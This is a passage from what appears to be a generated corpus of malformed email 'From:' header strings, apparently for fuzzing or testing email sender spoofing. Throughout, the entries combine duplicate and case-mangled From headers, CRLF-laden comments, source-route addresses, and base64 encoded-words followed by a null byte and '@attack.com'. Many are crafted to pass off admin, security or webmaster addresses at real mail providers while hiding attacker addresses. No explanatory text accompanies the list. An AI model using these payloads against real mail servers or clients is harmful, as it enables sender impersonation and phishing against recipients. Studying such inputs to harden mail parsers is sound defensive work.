\r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + " From:(),webmaster@sina.cn,\r\n", + " From: \r\nFrom:Alice@outlook.com,word\r\n", + "From:(comment),(),webmaster@hotmail.com\r\n", + " FrOM: \r\nFrom:,hr@126.com,(hi)\r\n", + "From:(hi),(),,,word()(\r\n)()\r\n", + "From: Alice@outlook.com\r\n", + "From: word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + " Fromÿ: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSxockBhbGl5dW4uY29tLA0K=?=>", + "From: (comm\r\nent),attacker@163.com\r\n", + "From:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQHltYWlsLmNvbS5jbj4sQWxpY2VAZ21haWwuY29tLHdvcmQoY29tbWVudCkuLndvcmQ8YXR0YWNrZXJAY2hpbmEuY29tPg0K=?=>\u0000@attack.com", + " From: \r\nFrom:word(\r\n)()\r\n", + "From :word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AZ21haWwuY29tPigNCikNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:(),webmaster@sina.cn,\r\n", + "From: word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + "From :Mike@foxmail.com\r\n", + "From :Alice@outlook.com\r\n", + "From:Alice@aliyun.com\r\n", + "From: \r\nFrom:Mike@foxmail.com\r\n", + " FrOM: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + " From:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + " FrOM: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAY2hpbmEuY29tPihjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGhvdG1haWwuY29tPixhZG1pbkBzb2h1LmNvbSw8Qm9iQGNoaW5hLmNvbT4NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:Mike@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbQ0K=?=>", + " From: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From: ,Alice@top.com\r\n", + "From:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From :(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQG1zbi5jb20+KCksc2VjdXJpdHlAYWxpeXVuLmNvbSx3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQHltYWlsLmNvbT4oKSx3b3JkPEJvYkBvdXRsb29rLmNvbT4oDQopDQo==?=>", + "From :,hr@live.com,hr@126.com\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", + "From :(\r\n),wordword(\r\n)(\r\n),\r\n", + " From:wordword().(hi)\r\n", + "From: hr@aliyun.com\r\n", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From:attacker@sohu.com\r\n", + "From:hr@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQDEzOS5jb20+LDxCb2JAc2luYS5jb20+LDxAYS5jb206QGIuY29tOmtleUBhbGl5dW4uY29tPg0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:wordword(\r\n)\r\n", + "From:key@msn.com\r\n", + "From: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSxNaWtlQGNoaW5hLmNvbSx3b3JkPGtleUAxNjMuY29tPihjb21tDQplbnQpLA0K=?=>\u0000@attack.com", + "From :<@qq.com:@163.com:Alice@sohu.com>\r\n", + "From: word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: <=?utf-8?RnJvbTooaGkpLGFkbWluQG1zbi5jb20NCg===?=>", + "From:,hr@live.com,hr@126.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: (comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + " From: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + "From :,(hi),(\r\n)\r\n", + " From:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + " FrOM: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGZveG1haWwuY29tPigpDQo==?=>", + " From: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", + " From:webmaster@126.com\r\n", + "From:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + " Fromÿ: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From: word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From:word(\r\n)()\r\n", + " From: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + " From: \r\nFrom:(hi),,(hi),(hi)\r\n", + " From:,attacker@sina.com,(hi)\r\n", + "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sYWRtaW5AZm94bWFpbC5jb20sd29yZC48QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+LCwNCg===?=>", + "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmFkbWluQHFxLmNvbT4oKSwsKGhpKSwoY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAZ21haWwuY29tPg0K=?=>", + "From: word(),wordword(hi)\r\n", + "From :,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQG91dGxvb2suY29tPihjb21tDQplbnQpDQo==?=>", + "From: \r\nFrom:hr@163.com\r\n", + " FrOM: \r\nFrom:,attacker@hotmail.com\r\n", + "From: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", + " FrOM: \r\nFrom:key@live.com\r\n", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + "From: <=?utf-8?RnJvbTo8QWxpY2VAc29odS5jb20+KCkNCg===?=>", + "From:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From :Mike@msn.com\r\n", + "From: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", + " From:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From:key@sohu.com\r\n", + "From :attacker@sohu.com,webmaster@foxmail.com\r\n", + " From: \r\nFrom:security@163.com\r\n", + "From: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:attacker@163.com\r\n", + " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From :(comm\r\nent)(hi),key@msn.com\r\n", + "From :(comment),wordword\r\n", + "From :Bob@126.com\r\n", + " From:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + " From: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + " From:<@qq.com:@163.com:Alice@sohu.com>\r\n", + "From: webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + "From:webmaster@139.com\r\n", + "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + "From: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", + " Fromÿ: \r\nFrom:(),Bob@qq.com\r\n", + "From :Alice@foxmail.com,attacker@139.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:,Mike@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooKSwoY29tbQ0KZW50KSwoY29tbQ0KZW50KSw8c2VjdXJpdHlAc2luYS5jbj4oY29tbWVudCkNCg===?=>", + "From :(\r\n),admin@ymail.com.cn\r\n", + " FrOM: \r\nFrom:word(hi)(comm\r\nent)\r\n", + " From: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + " From:Bob@sohu.com\r\n", + "From :key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From: (),webmaster@sina.cn,\r\n", + "From: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + "From: ,(comment),(),word..(hi)\r\n", + " From:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + "From: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: \r\nFrom:attacker@126.com\r\n", + " From: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + "From :(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", + " From:(comm\r\nent)(hi)\r\n", + " From:admin@qq.com\r\n", + "From: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + " From:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From:(comm\r\nent),key@sohu.com\r\n", + " From:()\r\n", + "From: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: (),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", + " From:attacker@sohu.com\r\n", + "From: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", + " From:,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBtc24uY29tLA0K=?=>", + "From :wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From: (comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + " Fromÿ: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>", + " From: \r\nFrom:attacker@ymail.com.cn\r\n", + " From:Mike@foxmail.com\r\n", + "From: wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + " From: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTosPGFkbWluQHNpbmEuY29tPiwsDQo==?=>\u0000@attack.com", + "From:(),Mike@139.com,\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", + " From:admin@sohu.com\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPihjb21tZW50KQ0K=?=>", + "From: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + "From: \r\nFrom:key@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: Alice@live.com\r\n", + "From :admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + "From: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLDxAcXEuY29tOkAxNjMuY29tOmtleUBjaGluYS5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKSx3b3Jkd29yZHdvcmQoY29tbQ0KZW50KTx3ZWJtYXN0ZXJAaWNsb3VkLmNvbT4NCg===?=>", + " From:Bob@139.com\r\n", + "From: Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + "From: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:admin@live.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosaHJAMTI2LmNvbSwoaGkpDQo==?=>\u0000@attack.com", + "From:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + " FrOM: \r\nFrom:admin@china.com,,,\r\n", + "From:word(\r\n)(\r\n)\r\n", + "From: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From:admin@live.com\r\n", + "From :,Mike@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzaW5hLmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTosLChjb21tZW50KSx3ZWJtYXN0ZXJAc2luYS5jbiwoaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTpNaWtlQGljbG91ZC5jb20sYWRtaW5AYWxpeXVuLmNvbSxockBzaW5hLmNvbSxCb2JAMTYzLmNvbSx3b3Jkd29yZHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMzkuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzb2h1LmNvbT4NCg===?=>\u0000@attack.com", + "From:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + " FrOM: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + "From :Bob@139.com\r\n", + "From: <=?utf-8?RnJvbTooKSwoY29tbQ0KZW50KSwoY29tbQ0KZW50KSw8c2VjdXJpdHlAc2luYS5jbj4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " From:(\r\n),admin@ymail.com.cn\r\n", + "From:webmaster@sina.cn,Mike@163.com\r\n", + " From:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + " From:(comm\r\nent),attacker@163.com\r\n", + " From:<@a.com:@b.com:attacker@139.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAcXEuY29tLGFkbWluQHRvcC5jb20sDQo==?=>\u0000@attack.com", + "From:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From:word(),wordword(hi)\r\n", + "From: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", + "From: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + " From: \r\nFrom:()(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKSxhZG1pbkB0b3AuY29tLA0K=?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQG1zbi5jb20+LDxAYS5jb206QGIuY29tOnNlY3VyaXR5QHNvaHUuY29tPg0K=?=>", + " Fromÿ: \r\nFrom:security@163.com\r\n", + "From :attacker@outlook.com\r\n", + "From: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + "From: ()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From :<@gmail.com:@b.com:key@top.com>\r\n", + "From:Alice@163.com\r\n", + "From :Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUBob3RtYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAdG9wLmNvbSw8a2V5QG91dGxvb2suY29tPihoaSksd29yZChoaSk8QWxpY2VAcXEuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:key@msn.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGF0dGFja2VyQDE2My5jb20+KGNvbW0NCmVudCksLCgNCikNCg===?=>", + " Fromÿ: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", + "From: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGtleUBpY2xvdWQuY29tPiw8QHFxLmNvbTpAMTYzLmNvbTpCb2JAeW1haWwuY29tLmNuPg0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,,,word(\r\n)\r\n", + " From: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From: hr@126.com\r\n", + "From: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTpockB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + " From:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + " From:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + "From:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + " From:(hi),(comm\r\nent),word().(\r\n)\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUBob3RtYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAdG9wLmNvbSw8a2V5QG91dGxvb2suY29tPihoaSksd29yZChoaSk8QWxpY2VAcXEuY29tPihjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20sKGNvbW0NCmVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>", + "From:Mike@top.com,key@outlook.com\r\n", + "From: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", + "From: Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:word(\r\n)(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBsaXZlLmNvbT4oKQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:wordword(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>\u0000@attack.com", + " From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From: (comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTx3ZWJtYXN0ZXJAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>", + " From: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + "From: <@qq.com:@163.com:Mike@163.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOk1pa2VAeW1haWwuY29tLmNuPixhdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>", + "From: \r\nFrom:Bob@sohu.com\r\n", + "From: (\r\n),admin@ymail.com.cn\r\n", + " FrOM: \r\nFrom:,webmaster@foxmail.com\r\n", + "From :webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + "From: word(hi)(comm\r\nent)\r\n", + "From: \r\nFrom:()\r\n", + "From:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSxrZXlAaWNsb3VkLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPigpDQo==?=>", + "From: (hi),,(hi),(hi)\r\n", + " FrOM: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLGF0dGFja2VyQHFxLmNvbSw8YXR0YWNrZXJAeW1haWwuY29tPigpLHdlYm1hc3RlckBzaW5hLmNvbQ0K=?=>\u0000@attack.com", + "From: <@qq.com:@163.com:Alice@sohu.com>\r\n", + " FrOM: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", + " From:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>", + "From:attacker@126.com\r\n", + " From:(\r\n),key@qq.com,\r\n", + "From :hr@foxmail.com\r\n", + " Fromÿ: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tLCgpDQo==?=>", + " FrOM: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From :admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + " From: \r\nFrom:,,,word(\r\n)\r\n", + "From:,(comment),key@qq.com,(hi)\r\n", + " Fromÿ: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From:hr@foxmail.com\r\n", + "From :,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLCgpLCgpLCx3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAbXNuLmNvbT4sLGhyQGxpdmUuY29tDQo==?=>", + " Fromÿ: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + " FrOM: \r\nFrom:(hi),,(hi),(hi)\r\n", + "From: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From: hr@sohu.com\r\n", + " FrOM: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosLCx3b3JkPHdlYm1hc3RlckBjaGluYS5jb20+KA0KKQ0K=?=>", + " From: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + " From: \r\nFrom:Bob@139.com\r\n", + " Fromÿ: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPiwoDQopLCgpLEJvYkAxMzkuY29tLCwsKA0KKQ0K=?=>\u0000@attack.com", + "From :key@foxmail.com,(\r\n)\r\n", + " From: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBsaXZlLmNvbT4sd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckAxMjYuY29tPiw8QGEuY29tOkBiLmNvbTpBbGljZUAxMzkuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From :wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + "From: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From :(hi)\r\n", + "From: ,Mike@icloud.com\r\n", + " From:attacker@outlook.com\r\n", + " FrOM: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", + " FrOM: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", + "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUB5bWFpbC5jb20uY24sc2VjdXJpdHlAcXEuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20uY24+DQo==?=>\u0000@attack.com", + "From:(comment),Mike@qq.com,()(hi)\r\n", + " FrOM: \r\nFrom:admin@china.com\r\n", + " From:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzb2h1LmNvbT4NCg===?=>", + " FrOM: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", + " From: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", + " From:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From: <@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + " From:key@sohu.com\r\n", + "From: (hi)\r\n", + " Fromÿ: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", + " From: \r\nFrom:(),Mike@139.com,\r\n", + " Fromÿ: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + "From :key@icloud.com\r\n", + " FrOM: \r\nFrom:attacker@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>", + " From:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + "From: 